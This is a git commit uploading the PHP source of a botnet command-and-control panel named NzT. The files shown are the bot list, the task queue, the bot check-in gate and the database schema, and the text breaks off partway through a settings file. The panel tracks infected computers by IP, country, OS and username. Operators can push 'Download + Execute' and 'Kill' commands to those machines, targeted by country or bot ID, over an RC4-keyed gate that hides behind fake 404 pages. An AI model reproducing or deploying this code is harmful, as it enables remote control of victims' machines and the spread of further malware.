src upload

This commit is contained in:
ldpreload 2023-07-12 19:43:04 -04:00
parent 6850d0cd56
commit 8942a1b64d
107 changed files with 32007 additions and 0 deletions

View File

@ -0,0 +1,8 @@
{
"folders": [
{
"path": "."
}
],
"settings": {}
}

134
panel/bots.php Normal file
View File

@ -0,0 +1,134 @@
<?php
require_once('inc/common.php');
$db = db();
ui_start('Bots');
ui_content_start();
?>
<div class="box">
<div>Search</div>
<form method="GET">
<table>
<tr><td>Country:</td>
<td><input type="text" class="input" name="countries"></td></tr>
<tr><td>GUID:</td>
<td><input type="text" class="input" name="guids"></td></tr>
<tr><td>IPv4:</td>
<td><input type="text" class="input" name="ips"></td></tr>
<tr>
<td>
</td>
<td style="text-align: right; color: #333;">
<input style="float: left;" type="submit" class="btn" value="Submit">
Order By
<select class="input" name="order" style="width: 100px;">
<option value="0">Last Seen</option>
<option value="1">First Seen</option>
</select>
<select class="input " name="dir" style="width: 100px;">
<option value="0">Descending</option>
<option value="1">Ascending</option>
</select>
</td>
</tr>
</table>
</form>
</div>
<?php
if(isset($_GET['countries']))
{
$sqlWhere = '';
if($_GET['countries'] != '')
{
$countries = explode(' ', $_GET['countries']);
$sqlWhere .= ' AND country IN ('.gen_qmarks($countries).')';
}
if($_GET['guids'] != '')
{
$guid = explode(' ', $_GET['guids']);
$sqlWhere .= ' AND guid IN ('.gen_qmarks($guid).')';
}
if($_GET['ips'] != '')
{
$ips = explode(' ', $_GET['ips']);
for($i = 0; $i < count($ips); ++$i)
$ips[$i] = ip2long($ips[$i]);
$sqlWhere .= ' AND ip IN ('.gen_qmarks($ips).')';
}
function bind_values()
{
global $query, $countries, $guid, $ips, $i;
if($_GET['countries'] != '')
{
foreach($countries as $country)
$query->bindValue(++$i, $country, PDO::PARAM_STR);
}
if($_GET['guids'] != '')
{
foreach($guid as $uhid)
$query->bindValue(++$i, $uhid, PDO::PARAM_STR);
}
if($_GET['ips'] != '')
{
foreach($ips as $ip)
$query->bindValue(++$i, $ip, PDO::PARAM_INT);
}
}
$query = $db->prepare('SELECT COUNT(*) FROM bots WHERE 1 = 1'.$sqlWhere);
$i = 0;
bind_values();
$query->execute();
$total = $query->fetchColumn();
if($total == 0)
echo('<div class="error margin-top">No bots found</div>');
else
{
get_pag_vars($total, $pages, $page, $offset);
$query = $db->prepare('SELECT * FROM bots WHERE 1 = 1'.$sqlWhere.' ORDER BY '.($_GET['order'] == 1 ? 'first_seen' : 'last_seen').'
'.($_GET['dir'] == 1 ? 'ASC' : 'DESC').' LIMIT ? OFFSET ?');
$i = 0;
bind_values();
$query->bindValue(++$i, $CONST_PAGE_LIMIT, PDO::PARAM_INT);
$query->bindValue(++$i, $offset, PDO::PARAM_INT);
$query->execute();
?>
<div class="box margin-top">
<div>Bots</div>
<table class="table">
<tr><th>GUID</th><th>IPv4</th><th>Country</th><th>OS</th><th>Username</th><th>Last Seen</th><th>First Seen</th><th>Options</th></tr>
<?php
$rows = $query->fetchAll();
$geoip = new GeoIP();
foreach($rows as $row)
{
?>
<tr>
<td><?php echo(htmlspecialchars($row['guid'])); ?></td>
<td><?php echo(long2ip($row['ip'])); ?></td>
<td><?php echo($row['country'].' <em>('.$geoip->GEOIP_COUNTRY_NAMES[$geoip->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['country']]].')</em>'); ?></td>
<td><?php printf("%s (%s)", get_os($row['os']), $row['arch'] ? 'x64' : 'x86'); ?></td>
<td><?php echo(htmlspecialchars($row['username'])); ?></td>
<td>
<?php echo('<label title="'.format_time($row['last_seen']).'">'.time_since($row['last_seen']).'</label>'); ?>
<em>
<?php echo((is_online($row['last_seen']) ? '(Online)' : '(Offline)')); ?>
</em>
</td>
<td>
<?php echo('<label title="'.format_time($row['first_seen']).'">'.time_since($row['first_seen']).'</label>'); ?>
</td>
<td>
<a href="commands.php?guid=<?php echo(htmlspecialchars($row['guid'])); ?>" target="_blank" class="btn" style="width: 25px;">Command</a>
</td>
</tr>
<?php
}
echo('</table>');
echo_pag_form($page, $pages);
echo('</div>');
}
}
ui_content_end();
ui_end();
?>

152
panel/commands.php Normal file
View File

@ -0,0 +1,152 @@
<?php
require_once('inc/common.php');
$db = db();
ui_start('Commands');
ui_content_start();
if(isset($_GET['delete']))
{
action_sec_check();
$query = $db->prepare('DELETE FROM commands WHERE id = ?');
$query->bindValue(1, $_GET['delete'], PDO::PARAM_INT);
$query->execute();
header('location: commands.php');
exit();
}
if(isset($_GET['toggle']))
{
action_sec_check();
$query = $db->prepare('UPDATE commands SET enabled = NOT enabled WHERE id = ?');
$query->bindValue(1, $_GET['toggle'], PDO::PARAM_INT);
$query->execute();
header('location: commands.php');
exit();
}
if(isset($_POST['type']))
{
action_sec_check();
$query = $db->prepare('INSERT INTO commands (`type`, param, created, `limit`, countries, guids, execs, enabled)
VALUES (?, ?, ?, ?, ?, ?, 0, 0)');
$query->bindValue(1, $_POST['type'], PDO::PARAM_INT);
$query->bindValue(2, $_POST['param'], PDO::PARAM_STR);
$query->bindValue(3, time(), PDO::PARAM_INT);
$query->bindValue(4, (int) $_POST['limit'], PDO::PARAM_INT);
$query->bindValue(5, $_POST['countries'], PDO::PARAM_STR);
$query->bindValue(6, $_POST['guids'], PDO::PARAM_STR);
$query->execute();
header('location: commands.php');
exit();
}
function get_command_name($type)
{
global
$CONST_COMMAND_DL_EXEC,
$CONST_COMMAND_KILL;
switch($type)
{
case $CONST_COMMAND_DL_EXEC: return 'Download + Execute';
case $CONST_COMMAND_KILL: return 'Kill';
default: return '?';
}
}
?>
<div class="box">
<div>Add Command</div>
<form method="POST">
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr>
<td>Type:</td>
<td>
<select class="input" name="type">
<option value="<?php echo($CONST_COMMAND_DL_EXEC); ?>"><?php echo get_command_name($CONST_COMMAND_DL_EXEC); ?></option>
<option value="<?php echo($CONST_COMMAND_KILL); ?>"><?php echo get_command_name($CONST_COMMAND_KILL); ?></option>
</select>
</td>
</tr>
<tr>
<td>Execution Limit:</td>
<td><input type="number" min="0" value="0" name="limit" class="input"></td>
</tr>
<tr>
<td>Country Codes:</td>
<td><input type="text" class="input" name="countries"></td>
</tr>
<tr>
<td>GUIDs:</td>
<td><input type="text" class="input" name="guids" value="<?php if(isset($_GET['guid'])) echo(htmlspecialchars($_GET['guid'])); ?>"></td>
</tr>
<tr><td>Parameter:</td><td><input type="text" class="input" name="param" ></td></tr>
<tr>
<td></td>
<td>
<input type="submit" class="btn" value="Add">
</td>
</tr>
</table>
</form>
</div>
<?php
$sql = "SELECT * FROM commands";
$stmt = $db->prepare($sql);
$stmt->execute();
if($stmt->rowCount() > 0)
{
?>
<div class="box margin-top">
<div>Commands</div>
<table class="table" style="width: 100%;">
<tr>
<th>Type</th>
<th>Created</th>
<th>Country Codes</th>
<th>GUIDs</th>
<th>Executed</th>
<th>Parameter</th>
<th>Options</th>
</tr>
<?php
$rows = $stmt->fetchAll();
foreach($rows as $row)
{
$emptyHtml = '<label style="color: #AAA;">-</label>';
if($row['param'] == '')
$param = $emptyHtml;
else
{
$param = htmlspecialchars(substr($row['param'], 0, 30));
if(strlen($param) < strlen($row['param']))
$param = '<label title="'.htmlspecialchars($row['param']).'">'.$param.'...</label>';
}
echo('<tr>
<td>'.get_command_name($row['type']).'</td>
<td><label title="'.format_time($row['created']).'">'.time_since($row['created']).'</label></td>
<td>'.($row['countries'] == '' ? $emptyHtml : htmlspecialchars($row['countries'])).'</td>
<td>'.($row['guids'] == '' ? $emptyHtml : htmlspecialchars($row['guids'])).'</td>
<td>'.$row['execs'].' / '.($row['limit'] == 0 ? '' : $row['limit']).'</td>
<td class="param">'.$param.'</td>
<td class="action" style="text-align: center;" nowrap>
<a href="?toggle='.$row['id'].'&amp;time='.$_SESSION['time'].'" style="margin-right: 5px;" onclick="return UserConfirm();"
class="btn">
'.($row['enabled'] ? 'Disable' : 'Enable').'
</a>
<a href="?delete='.$row['id'].'&amp;time='.$_SESSION['time'].'" onclick="return UserConfirm();"
class="btn">
Delete
</a>
</td>
</tr>');
}
}
?>
</table>
</div>
<?php
ui_content_end();
ui_end();
?>

57
panel/gate.php Normal file
View File

@ -0,0 +1,57 @@
<?php
ob_start();
require_once('inc/config.php');
require_once('inc/const.php');
require_once('inc/utils.php');
require_once('inc/db.php');
if($_SERVER['HTTP_USER_AGENT'] != 'NzT') error404();
if($_SERVER['REQUEST_METHOD'] != 'POST') error404();
$post_data = file_get_contents('php://input');
//echo $post_data;
if (!$post_data)
error404();
$decrypt = RC4($post_data, $CONST_GATE_KEY);
$data = array();
$token = explode('&', $post_data);
for($i = 0; $i < count($token); $i++)
{
$value = explode('=', $token[$i]);
$data[$value[0]] = $value[1];
}
if (!isset($data['type']) || !isset($data['guid']) ||
!isset($data['os']) || !isset($data['arch']) ||
!isset($data['username']))
error404();
if($data['type'] == 'report')
{
$db = db(false);
$ip = get_ip();
$ipLong = sprintf('%u', ip2long($ip));
$time = time();
$country = get_country($ip);
$last_command = '';
$sql = "SELECT guid FROM bots WHERE guid = ?";
$stmt = $db->prepare($sql);
$status = $stmt->execute([$data['guid']]);
if ($stmt->rowCount() > 0) // bot exists
{
//last command
db_fetch_bot_last_command($db, $data['guid'], $last_command);
db_fetch_tasks($db, $data['guid'], $last_command);
db_update_bot($db, $data['guid'], $ipLong, $country, $last_command);
}
else // new bot
db_add_bot($db, $data['guid'], $ipLong, $data['os'], $data['arch'], $data['username']);
}
?>

18
panel/inc/common.php Normal file
View File

@ -0,0 +1,18 @@
<?php
session_start();
if(!isset($_SESSION['auth']))
{
header('location: login.php');
exit();
}
require_once('config.php');
require_once('const.php');
require_once('ui.php');
require_once('utils.php');
require_once('db.php');
?>

10
panel/inc/config.php Normal file
View File

@ -0,0 +1,10 @@
<?php
$CONF_TIMEOUT_OFFLINE = 120;
$CONF_TIMEOUT_DEAD = 259200;
$CONF_DB_HOST = "127.0.0.1";
$CONF_DB_NAME = "panel";
$CONF_DB_USER = "root";
$CONF_DB_PASS = "";
$CONF_PANEL_USER = "yukari";
$CONF_PANEL_PASS = "1625cdb75d25d9f699fd2779f44095b6e320767f606f095eb7edab5581e9e3441adbb0d628832f7dc4574a77a382973ce22911b7e4df2a9d2c693826bbd125bc";
?>

21
panel/inc/const.php Normal file
View File

@ -0,0 +1,21 @@
<?php
//paths
$CONST_PRIVATE_FOLDER = 'private/';
//commands
$CONST_COMMAND_DL_EXEC = 1;
$CONST_COMMAND_UPDATE = 2;
$CONST_COMMAND_LOAD_PLUGIN = 3;
$CONST_COMMAND_KILL = 4;
$CONST_COMMAND_UNINSTALL = 5;
//report type
$CONST_REPORT_TYPE_KNOCK = '0x001337';
$CONST_REPORT_TYPE_NEW = '0x001488';
//misc
$CONST_PAGE_LIMIT = 5;
//gate
$CONST_GATE_KEY = 'LET_ME_IN!';
?>

135
panel/inc/db.php Normal file
View File

@ -0,0 +1,135 @@
<?php
require_once('const.php');
function db($message = true)
{
global $CONF_DB_HOST, $CONF_DB_NAME, $CONF_DB_USER, $CONF_DB_PASS;
try
{
return new PDO('mysql:host='.$CONF_DB_HOST.';dbname='.$CONF_DB_NAME.';charset=utf8', $CONF_DB_USER, $CONF_DB_PASS,
array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES "utf8"'));
}
catch(PDOException $e)
{
if($message)
echo 'Can\'t connect to the database. Change <a href="settings.php">settings</a>?';
exit();
}
}
function db_add_bot($db, $guid, $ip, $os, $arch, $username)
{
$sql = "INSERT INTO bots (guid, ip, os, arch, country, username, last_seen, first_seen, last_command) VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $guid, PDO::PARAM_STR);
$stmt->bindValue(2, $ip, PDO::PARAM_INT);
$stmt->bindValue(3, $os, PDO::PARAM_INT);
$stmt->bindValue(4, $arch, PDO::PARAM_INT);
$stmt->bindValue(5, get_country($ip), PDO::PARAM_STR);
$stmt->bindValue(6, $username, PDO::PARAM_STR);
$stmt->bindValue(7, time(), PDO::PARAM_INT);
$stmt->bindValue(8, time(), PDO::PARAM_INT);
$status = $stmt->execute();
}
function db_delete_bot($db, $guid)
{
$sql = "DELETE FROM bots WHERE guid=?";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $guid, PDO::PARAM_STR);
$status = $stmt->execute();
return $status;
}
function db_update_bot($db, $guid, $ip, $country, $last_command)
{
$sql = "UPDATE bots SET last_seen = ?, ip = ?, country = ?, last_command = ? WHERE guid=?";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, time(), PDO::PARAM_INT);
$stmt->bindValue(2, $ip, PDO::PARAM_INT);
$stmt->bindValue(3, $country, PDO::PARAM_STR);
$stmt->bindValue(4, $last_command, PDO::PARAM_INT);
$stmt->bindValue(5, $guid, PDO::PARAM_STR);
$status = $stmt->execute();
}
function db_fetch_bot($db, $guid)
{
$sql = "SELECT guid FROM bots WHERE guid = ?";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $guid, PDO::PARAM_STR);
$status = $stmt->execute();
}
function db_fetch_bot_last_command($db, $guid, $last_command)
{
$sql = "SELECT last_command FROM bots WHERE guid = ?";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $guid, PDO::PARAM_STR);
$status = $stmt->execute();
if ($stmt->rowCount() === 0)
{
echo '0';
exit();
}
$last_command = $stmt->fetchColumn();
}
function db_add_task()
{
}
function db_delete_task()
{
}
function db_fetch_tasks($db, $guid, $last_command)
{
$sql = "SELECT * FROM commands WHERE (execs < `limit` OR `limit` = 0) AND enabled = 1 AND (id > ? OR ? = 0)";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $last_command, PDO::PARAM_INT);
$stmt->bindValue(2, $last_command, PDO::PARAM_INT);
$stmt->execute();
$rows = $stmt->fetchAll();
$output = '';
foreach ($rows as $row)
{
if ($row['countries'] != '')
{
$countries = explode(' ', $row['countries']);
if (!in_array($country, $countries))
continue;
}
if ($row['guids'] != '')
{
$guids = explode(' ', $row['guids']);
if (!in_array($guid, $guids))
continue;
}
$sql = "UPDATE commands SET execs = execs + 1 WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bindValue(1, $row['id'], PDO::PARAM_INT);
$stmt->execute();
$last_command = $row['id'];
$output .= 'COMMAND'.'|'.$row['type'].'|'.$row['param']."\r\n";
}
$crypt = RC4($output, "LET_ME_IN!");
echo $output;
}
?>

BIN
panel/inc/geoip.dat Normal file

Binary file not shown.

1882
panel/inc/geoip.php Normal file

File diff suppressed because it is too large Load Diff

69
panel/inc/ui.php Normal file
View File

@ -0,0 +1,69 @@
<?php
function ui_start($title)
{
?>
<!doctype HTML>
<html>
<head>
<title>NzT - <?php echo($title); ?></title>
<meta charset="UTF-8">
<link rel="stylesheet" type="text/css" href="style/style.css">
<script>
function UserConfirm()
{
return confirm("Are you sure?");
}
</script>
</head>
<body>
<?php
}
function ui_echo_nav_tab($link, $text)
{
echo('<a href="'.$link.'" class="'.(basename($_SERVER['PHP_SELF']) == $link ? 'current' : '').'">'.$text.'</a>');
}
function ui_content_start()
{
?>
<div class="nav">
<?php
ui_echo_nav_tab('index.php', 'Statistics');
ui_echo_nav_tab('bots.php', 'Bots');
ui_echo_nav_tab('commands.php', 'Commands');
ui_echo_nav_tab('settings.php', 'Settings');
?>
</div>
<div class="content">
<?php
}
function ui_content_end()
{
?>
<div style="clear: both;"></div>
</div>
<div class="footer">
NzT
<?php
if(isset($_SESSION['auth']))
{
?>
|
<a href="logout.php">logout</a>
<?php
}
?>
</div>
<?php
}
function ui_end()
{
?>
</body>
</html>
<?php
}
?>

237
panel/inc/utils.php Normal file
View File

@ -0,0 +1,237 @@
<?php
require_once('inc/geoip.php');
function escape_php_string($str)
{
$str = str_replace("\\", "\\\\", $str);
$str = str_replace("\"", "\\\"", $str);
$str = str_replace("\'", "\\\'", $str);
$str = str_replace("\n", "\\n", $str);
$str = str_replace("\t", "\\t", $str);
$str = str_replace("\r", "\\r", $str);
$str = str_replace("$", "\\$", $str);
return $str;
}
function hash_pass($pass)
{
return hash('sha512', $pass);
}
function RC4($pt, $key)
{
$s = array();
for ($i=0; $i<256; $i++)
{
$s[$i] = $i;
}
$j = 0;
$x;
for ($i=0; $i<256; $i++)
{
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$ct = '';
$y;
for ($y=0; $y<strlen($pt); $y++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ct;
}
function set_headers_txt()
{
header('X-Content-Type-Options: nosniff'); //stop chrome from downloading the file
header('Content-Type: text/plain');
}
function echo_file_upload_error()
{
echo('<div class="error">No file uploaded</div>');
}
function gen_qmarks($arr)
{
return str_repeat('?, ', count($arr) - 1).'?';
}
function get_pag_vars($total, &$pages, &$page, &$offset)
{
global $CONST_PAGE_LIMIT;
$pages = ceil($total / $CONST_PAGE_LIMIT);
$page = 1;
if(isset($_GET['page']))
{
$page = (int) $_GET['page'];
if($page > $pages)
$page = $pages;
else if($page < 1)
$page = 1;
}
$offset = ($page - 1) * $CONST_PAGE_LIMIT;
}
function get_os($os)
{
if($os == 0)
return 'Windows 2000';
else if ($os == 1)
return 'Windows XP';
else if ($os == 2)
return 'Windows Vista';
else if ($os == 3)
return 'Windows 7';
else if ($os == 4)
return 'Windows 8';
else if ($os == 5)
return 'Windows 8.1';
else if ($os == 6)
return 'Windows 10';
else if ($os == 7)
return 'Windows 11';
else
return 'Unknown';
}
function get_ip()
{
if (isset($_SERVER["HTTP_X_REAL_IP"]))
{
return $_SERVER["HTTP_X_REAL_IP"];
}
else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
{
return $_SERVER ["HTTP_X_FORWARDED_FOR"];
}
return $_SERVER ['REMOTE_ADDR'];
}
function get_country($ip)
{
$gi = geoip_open('inc/geoip.dat', GEOIP_STANDARD);
$country = geoip_country_code_by_addr($gi, $ip);
geoip_close($gi);
if (empty($country))
return '??';
return $country;
}
function format_time($time)
{
return date('d/m/Y H:i:s', $time);
}
function time_since($time)
{
$time = time() - $time;
$time = ($time < 1) ? 1 : $time;
$tokens = array (
31536000 => 'year',
2592000 => 'month',
604800 => 'week',
86400 => 'day',
3600 => 'hour',
60 => 'minute',
1 => 'second'
);
foreach($tokens as $unit => $text)
{
if($time < $unit) continue;
$numberOfUnits = floor($time / $unit);
return $numberOfUnits.' '.$text.(($numberOfUnits > 1) ? 's' : '').' ago';
}
}
function is_online($time)
{
global $CONF_TIMEOUT_OFFLINE;
return (time() - $time) < $CONF_TIMEOUT_OFFLINE ;
}
function echo_hidden_fields()
{
$args = func_get_args();
foreach($_GET as $name => $value)
{
if(!in_array($name, $args))
echo('<input type="hidden" name="'.$name.'" value="'.$value.'">');
}
}
function echo_pag_form($page, $pages)
{
$firstDisabled = $page == 1 ? 'disabled' : '';
echo('<form method="GET" class="margin-top"><a class="btn '.$firstDisabled.'" href="'.add_get_param('page', 1).'">First</a>');
echo(' <a class="btn '.$firstDisabled.'" href="'.add_get_param('page', $page - 1).'">Previous</a>');
echo_hidden_fields('page');
echo(' <input type="text" name="page" placeholder="'.$page.' / '.$pages.'" style="width: 70px; text-align: center;"
class="'.($pages == 1 ? 'disabled' : '').' input">');
$lastDisabled = $page == $pages ? 'disabled' : '';
echo(' <a class="btn '.$lastDisabled.'" href="'.add_get_param('page', $page + 1).'">Next</a>');
echo(' <a class="btn '.$lastDisabled.'" href="'.add_get_param('page', $pages).'">Last</a></form>');
}
function add_get_param($name, $value)
{
$params = $_GET;
unset($params[$name]);
$params[$name] = $value;
return basename($_SERVER['PHP_SELF']).'?'.http_build_query($params);
}
function action_sec_check()
{
if($_SERVER['REQUEST_METHOD'] == 'POST')
$userTime = $_POST['time'];
else
$userTime = $_GET['time'];
if($userTime != $_SESSION['time'])
exit();
}
function error404()
{
header('HTTP/1.1 404 Not Found', TRUE, 404);
echo <<<HTML
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL $_SERVER[REQUEST_URI] was not found on this server.
<HR>
<I>$_SERVER[HTTP_HOST]</I>
</BODY></HTML>
HTML;
echo str_repeat ("\r\n", 50);
exit();
}
function http_redirect($url)
{
header("Location: $url");
exit();
}
function http_no_cache()
{
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Pragma: no-cache");
header("Cache-Control: no-cache, must-revalidate");
}
?>

129
panel/index.php Normal file
View File

@ -0,0 +1,129 @@
<?php
require_once('inc/common.php');
require_once('inc/geoip.php');
$db = db();
ui_start('Statistics');
ui_content_start();
function format_count($count)
{
global $total;
if($total == 0 && $count == 0)
$total = 1;
return $count.' ('.round(($count / $total) * 100, 2).'%)';
}
$query = $db->query('SELECT COUNT(*) FROM bots');
$totalBots = $query->fetchColumn();
$total = $totalBots;
if($total == 0)
echo('<div class="error">Database is empty</div>');
else
{
?>
<style>
.content
{
text-align: center;
font-size: 0;
}
.table
{
width: 500px;
font-size: 12px;
}
.box
{
font-size: 12px;
}
.left
{
text-align: left;
display: inline-block;
vertical-align: top;
}
</style>
<div class="left" style="margin-right: 10px;">
<?php
$query = $db->prepare('SELECT COUNT(*) FROM bots WHERE last_seen > ?');
$query->bindValue(1, time() - $CONF_TIMEOUT_OFFLINE, PDO::PARAM_INT);
$query->execute();
$online = (int) $query->fetchColumn();
$offline = $total - $online;
$query = $db->prepare('SELECT COUNT(*) FROM bots WHERE last_seen < ?');
$query->bindValue(1, time() - $CONF_TIMEOUT_DEAD, PDO::PARAM_INT);
$query->execute();
$dead = $query->fetchColumn();
$query = $db->prepare('SELECT COUNT(*) FROM bots WHERE last_seen > ?');
$query->bindValue(1, time() - 60 * 60 * 24, PDO::PARAM_INT);
$query->execute();
$online24h = (int) $query->fetchColumn();
?>
<div class="box margin-bottom">
<div>Amount</div>
<table class="table">
<tr><td>Total:</td><td><?php echo($total); ?></td></tr>
<tr><td>Online:</td><td><?php echo(format_count($online)); ?></td></tr>
<tr><td>Offline:</td><td><?php echo(format_count($offline)); ?></td></tr>
<tr><td>Bots seen since 24h:</td><td><?php echo(format_count($online24h)); ?></td></tr>
<tr><td>Dead:</td><td><?php echo(format_count($dead)); ?></td></tr>
</table>
</div>
<?php
$query = $db->query('SELECT COUNT(*) FROM bots WHERE arch = 1');
$x64 = $query->fetchColumn();
$os = array();
$query = $db->query('SELECT os FROM bots');
$rows = $query->fetchAll();
foreach($rows as $row)
{
$osName = get_os($row['os']);
if(isset($os[$osName]))
++$os[$osName];
else
$os[$osName] = 1;
}
arsort($os);
?>
<div class="box margin-bottom">
<div>Computer Info</div>
<table class="table margin-bottom">
<?php
foreach($os as $key => $value)
echo('<tr><td>'.$key.':</td><td>'.format_count($value).'</td></tr>');
?>
<tr class="line"><td class="line">x64:</td><td><?php echo(format_count($x64)); ?></td></tr>
<tr><td>x86:</td><td><?php echo(format_count($total - $x64)); ?></td></tr>
</table>
</div>
<div class="box">
<div>Countries</div>
<table class="table">
<?php
$total = $totalBots;
$query = $db->query('SELECT DISTINCT country, COUNT(*) as num FROM bots GROUP BY country ORDER BY num DESC');
$rows = $query->fetchAll();
$geoip = new GeoIP();
foreach($rows as $row)
{
echo('<tr><td>'.$row['country'].' <em>('.$geoip->GEOIP_COUNTRY_NAMES[$geoip->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['country']]].')</em>:</td><td>'.format_count($row['num']).'</td></tr>');
}
?>
</table>
</div>
</div>
<?php
}
ui_content_end();
ui_end();
?>

48
panel/login.php Normal file
View File

@ -0,0 +1,48 @@
<?php
require_once('inc/config.php');
require_once('inc/utils.php');
require_once('inc/ui.php');
session_start();
ui_start('Login');
if(isset($_SESSION['auth']))
{
header('location: index.php');
exit();
}
?>
<div class="box margin-bottom center" style="width: 250px;">
<div>Login</div>
<?php
if (isset($_POST['login']))
{
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == $CONF_PANEL_USER && hash_pass($password) == $CONF_PANEL_PASS)
{
$_SESSION['auth'] = true;
$_SESSION['time'] = (string)microtime(true);
header('location: index.php');
exit();
}
else
echo('<div class="error">Invalid username or password!</div>');
}
?>
<form method="POST">
<table>
<tr><td>Username:</td>
<td><input type="text" class="input" name="username"></td></tr>
<tr><td>Password:</td>
<td><input input type="password" class="input" name="password"></td></tr>
<td>
<input type="submit" class="btn" value="Login" name="login">
</td>
</table>
</form>
</div>
<?php
ui_end();
?>

12
panel/logout.php Normal file
View File

@ -0,0 +1,12 @@
<?php
require_once('inc/common.php');
$_SESSION = array();
$session = session_get_cookie_params();
setcookie(session_name(), '', time() - 4200, $session["path"], $session["domain"], $session["secure"], $session["httponly"]);
session_destroy();
header('Location: login.php');
?>

1
panel/private/.htaccess Normal file
View File

@ -0,0 +1 @@
deny from all

43
panel/private/db.sql Normal file
View File

@ -0,0 +1,43 @@
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET NAMES utf8 */;
/*!50503 SET NAMES utf8mb4 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
DROP DATABASE IF EXISTS `panel`;
CREATE DATABASE IF NOT EXISTS `panel` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `panel`;
DROP TABLE IF EXISTS `bots`;
CREATE TABLE IF NOT EXISTS `bots` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`guid` varchar(50) NOT NULL,
`ip` int(11) unsigned NOT NULL,
`os` tinyint(4) unsigned NOT NULL,
`arch` tinyint(4) unsigned NOT NULL,
`country` char(2) NOT NULL,
`username` varchar(50) NOT NULL,
`last_seen` int(11) unsigned NOT NULL,
`first_seen` int(11) unsigned NOT NULL,
`last_command` int(11) unsigned NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `guid` (`guid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
DROP TABLE IF EXISTS `commands`;
CREATE TABLE IF NOT EXISTS `commands` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`execs` int(11) unsigned NOT NULL,
`limit` int(11) unsigned NOT NULL,
`enabled` tinyint(4) unsigned NOT NULL,
`created` int(11) unsigned NOT NULL,
`type` tinyint(4) unsigned NOT NULL,
`param` text NOT NULL,
`countries` text NOT NULL,
`guids` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;
/*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;

148
panel/settings.php Normal file
View File

@ -0,0 +1,148 @@
<?php
require_once('inc/common.php');
if(isset($_GET['injects']))
{
set_headers_txt();
echo(file_get_contents($CONST_INJECTS_PATH));
exit();
}
ui_start('Settings');
ui_content_start();
function echo_settings_updated_info()
{
echo('<div class="info">Settings updated</div>');
}
function write_settings()
{
global
$CONF_TIMEOUT_OFFLINE,
$CONF_TIMEOUT_DEAD,
$CONF_DB_HOST,
$CONF_DB_NAME,
$CONF_DB_USER,
$CONF_DB_PASS,
$CONF_PANEL_USER,
$CONF_PANEL_PASS;
file_put_contents
(
'inc/config.php',
'<?php'.PHP_EOL.
'$CONF_TIMEOUT_OFFLINE = '.$CONF_TIMEOUT_OFFLINE.';'.PHP_EOL.
'$CONF_TIMEOUT_DEAD = '.$CONF_TIMEOUT_DEAD.';'.PHP_EOL.
'$CONF_DB_HOST = "'.escape_php_string($CONF_DB_HOST).'";'.PHP_EOL.
'$CONF_DB_NAME = "'.escape_php_string($CONF_DB_NAME).'";'.PHP_EOL.
'$CONF_DB_USER = "'.escape_php_string($CONF_DB_USER).'";'.PHP_EOL.
'$CONF_DB_PASS = "'.escape_php_string($CONF_DB_PASS).'";'.PHP_EOL.
'$CONF_PANEL_USER = "'.escape_php_string($CONF_PANEL_USER).'";'.PHP_EOL.
'$CONF_PANEL_PASS = "'.escape_php_string($CONF_PANEL_PASS).'";'.PHP_EOL.
'?>'
);
echo_settings_updated_info();
}
if(isset($_POST['timeout_offline']))
{
action_sec_check();
if(!ctype_digit($_POST['timeout_offline']) || !ctype_digit($_POST['timeout_dead']))
echo('<div class="error">Invalid timeout value</div>');
else
{
$CONF_TIMEOUT_OFFLINE = $_POST['timeout_offline'];
$CONF_TIMEOUT_DEAD = $_POST['timeout_dead'];
write_settings();
}
}
else if(isset($_POST['db_name']))
{
action_sec_check();
$CONF_DB_HOST = $_POST['db_host'];
$CONF_DB_NAME = $_POST['db_name'];
$CONF_DB_USER = $_POST['db_user'];
$CONF_DB_PASS = $_POST['db_pass'];
write_settings();
}
else if(isset($_POST['pass']))
{
action_sec_check();
if($_POST['pass'] === $_POST['pass2'])
{
$minChars = 4;
if(strlen($_POST['pass']) >= $minChars && strlen($_POST['user']) >= $minChars)
{
$CONF_PANEL_USER = $_POST['user'];
$CONF_PANEL_PASS = hash_pass($_POST['pass']);
write_settings();
}
else
